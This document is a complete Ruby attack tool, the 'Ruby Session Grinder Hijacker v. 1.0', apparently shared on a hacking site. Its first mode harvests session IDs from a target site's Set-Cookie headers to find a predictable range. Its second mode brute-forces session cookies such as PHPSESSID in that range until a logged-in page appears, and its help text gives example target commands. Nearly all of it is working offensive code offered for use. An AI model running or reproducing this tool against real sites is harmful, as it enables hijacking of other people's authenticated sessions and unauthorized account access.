#!usr/bin/ruby # Ruby Session Grinder Hijacker v. 1.0 # By SH4V # http://n3t-datagrams.net # Greetz to pRotos, Pr0x, Lix, Eudax, OzX and undersecurity.net require 'socket' mode=ARGV[0] pag=ARGV[1] path=ARGV[2] sei=ARGV[3] txt=ARGV[4] id=ARGV[5] key=ARGV[6] oth=ARGV[7] sef=txt nui=1 arn=0 arr=Array.new if mode=="--help" or mode=="-h" puts " Usage: Ruby Session Grinder Hijacker v. 1.0 is a tool developed by SH4V used to perform session hijacking and grindings. Includes two modes of operation: [-1] Makes a grinding session intervals to search for suspects who might have logged. Example: -1 www.page.com index.php 30 -1 www.page.com index.php 30 results.txt [-2] Performs a brute force attack testing sessions in the suspect interval. You must put a keyword that is displayed only when the session has been started correctly. -2 www.page.com index.php 12345 12467 PHPSESSID Congratulations -2 www.page.com index.php 12345 12467 PHPSESSID Congratulations ;SMFCookie=%43%23%34%34%83%84%88%38%82%77%33 http://n3t-datagrams.net " else case mode when "-1" nuf=sei.to_i if pag && path && nuf until nui>nuf con=TCPSocket.new(pag, 80) con.print "GET /#{path} HTTP/1.1\r\nHost: #{pag}\r\n\r\n" cor=con.recv(999) cor=cor.split("Set-Cookie:") cor1=cor[1].split("\n") puts cor1[0] arr[arn]=cor1[0] arn+=1 nui+=1 end if txt fil=File.new(txt,"w") arr.each { |x| fil.write(x) } fil.close end else puts "Please, enter de correct parameters." end when "-2" until sei>sef do con=TCPSocket.new(pag, 80) con.print "GET /session.php HTTP/1.1\r\nHost: #{pag}\r\nCookie: #{id}=#{sei};#{oth}\r\n\r\n" res=con.recv(9999) ar=res.split(key) if ar[1] puts "Successful session: #{sei}" else puts "Session mistaken: #{sei}" end sei=sei.succ end end end